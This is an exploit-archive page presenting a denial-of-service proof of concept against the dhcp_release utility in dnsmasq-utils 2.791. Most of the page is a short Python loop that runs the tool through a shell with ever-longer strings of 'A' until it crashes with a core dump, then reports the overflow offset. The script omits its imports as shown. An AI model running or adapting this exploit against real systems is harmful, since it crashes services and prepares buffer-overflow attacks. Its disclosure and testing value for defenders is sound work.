Dnsmasqutils 2.791 dhcp_release denial of service (poc) Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2020-04-07 |
Type : dos |
Platform : linux
This exploit / vulnerability Dnsmasqutils 2.791 dhcp_release denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!
data = ""
bof = False
for i in range (1, 200):
A = "A"*i
data = f"dhcp_release {A} 1 1"
try:
result = Popen(data, stdout=PIPE, stderr=PIPE, shell=True)
error = result.stderr.read().decode()
if "Aborted (core dumped)" in error:
print("[+] Buffer Overflow detected!")
print(f"[*] Offset: {i}")
bof = True
break
except Exception as e:
print(f"[-] {e}")